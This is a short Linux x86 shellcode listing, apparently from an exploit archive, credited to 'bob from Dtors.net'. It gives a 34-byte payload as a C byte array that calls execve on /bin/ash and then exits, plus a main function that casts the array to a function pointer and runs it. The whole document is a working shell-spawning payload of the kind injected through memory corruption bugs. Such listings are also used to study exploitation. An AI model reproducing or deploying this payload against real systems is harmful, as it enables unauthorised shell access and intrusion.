Linux x86 shellcode which does execve()/bin/ash; exit; in 34 bytes.
1c5867190284199a34f431a90516c4ad9cc0b7800020a274f5ca0999fa97fafe
/*
* Linux x86 shellcode by bob from Dtors.net.
* execve()/bin/ash; exit;
* Total = 34 bytes.
*/
#include <stdio.h>
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x61\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"
"\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd"
"\x80\x31\xc0\xb0\x01\xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}